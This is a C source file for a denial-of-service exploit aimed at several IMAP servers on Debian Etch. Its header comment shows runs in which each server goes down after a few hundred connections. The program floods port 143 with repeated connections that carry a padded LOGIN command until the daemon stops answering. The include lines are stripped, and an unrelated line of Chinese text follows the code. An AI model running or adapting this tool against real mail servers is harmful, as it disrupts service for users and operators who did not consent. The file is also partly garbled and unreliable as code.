/* Debian Etch Multiple IMAP Server DoS (debianimapers2.c) Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com] Testing Bincimap: bash$ ./debianimapers2 192.168.0.99 ..... 271 tries and imapd goes down! Mission Complete! Testing Dovecot: bash$ ./debianimapers2 192.168.0.99 ..... 268 tries and imapd goes down! Mission Complete! Testing Mailutil's IMAP4d: bash$ ./debianimapers2 192.168.0.99 ..... 362 tries and imapd goes down! Mission Complete! Testing UW-IMAPd: bash$ ./debianimapers2 192.168.0.99 ..... 266 tries and imapd goes down! Mission Complete! bash$ Yeah, this defiantly seems like a problem with Debian's INETd :P */ #include #include #include #include #include #include #include #include #define COUNT 1000 #define SIZE 32 char imaplogin[] = "A0001 LOGIN"; int main(int argc, char *argv[]) { char buffer[SIZE], imapped[SIZE*2+30]; int i, port = 143; memset(buffer, 0x41, sizeof(buffer)); memset(imapped, 0, sizeof(imapped)); snprintf(imapped, sizeof(imapped)-1, "%s %s %s\r\n\r\n", imaplogin, buffer, buffer); if(argc < 2) { printf("\nDebian Etch Multiple IMAP Server DoS"); printf("\nJeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]\n"); printf("\nUsage %s \n\n", argv[0]); return 0; } printf("\nDebian Etch Multiple IMAP Server DoS"); printf("\nJeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]\n"); int sock; struct sockaddr_in remote; remote.sin_family = AF_INET; remote.sin_port = htons(port); remote.sin_addr.s_addr = inet_addr(argv[1]); if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error: socket()\n"); return -1; } if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) { printf("Error: connect(%s:%d)\n", argv[1], port); return -1; } close(sock); printf("\nUsually takes ~1-2 minutes, LAN/Internet and connection speed will make time vary...\n"); for(i = 0; i <= COUNT; i++) { struct sockaddr_in remote; remote.sin_family = AF_INET; remote.sin_port = htons(port); remote.sin_addr.s_addr = inet_addr(argv[1]); if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error: socket()\n"); return -1; } if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) { printf("\n%d tries and imapd goes down! Mission Complete!\n\n", i); return -1; } int len = sizeof(imapped); send(sock, imapped, len, 0); close(sock); } return 0; }

亚洲欧美在线